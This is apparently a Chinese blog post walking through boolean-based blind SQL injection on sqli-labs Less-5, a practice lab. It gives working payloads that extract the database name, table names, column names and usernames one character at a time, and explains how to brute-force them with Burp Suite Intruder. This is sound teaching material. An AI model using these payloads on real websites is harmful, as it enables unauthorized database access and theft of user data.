SQL布尔盲注

靶场环境:sqli-labs第五关

可以使用payload:?id=1 ' and (select count(*) from users)>0 --+ 测试是否存在users这个表

第一步:获取数据库长度
使用length()函数,且盲注必须使用and

例:length(database())=3

payload: ?id=1' and length(database())=3 --+

注意:盲注判断是否正常要与正常查询的结果作比对,错误无回显,正确则显示正常结果

发送到Burpsuite intruder模块Sniper进行Number爆破,把3设置变量

可以把特征添加到Grep-Match筛选爆破结果

第二步:获取数据库名称
使用left()函数

例:left(database(),1)='s'

payload: ?id=1' and left(database(),1)='s' --+ //判断第一位名称是否为s

发送到Burpsuite intruder模块Sniper进行Runtime爆破,把s设置变量,字典为小写字母

第二步:获取表名称
使用ascii()和substr()函数

ascii():把内容转换成ascii码
substr():提取表名第一个字符

payload:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1), 1, 1))=127 --+

注意:提取security数据库的第一张表名称的第一个字符并转换成ascii码

发送到Burpsuite intruder模块Sniper进行Number爆破,把127设置变量,数值0-127,对照ascii表,然后把payload中 “1,1” 第一个1改成2继续爆破

第三步:获取列名称

payload:?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name='emails' limit 0,1), 1, 1))=127 --+

第四步:获取列名下的数据

payload:?id=1' and ascii(substr((select username from users limit 0,1), 1, 1))=84 --+

posted on 2024-12-24 21:31  Ad1ey  阅读(4)  评论(0编辑  收藏  举报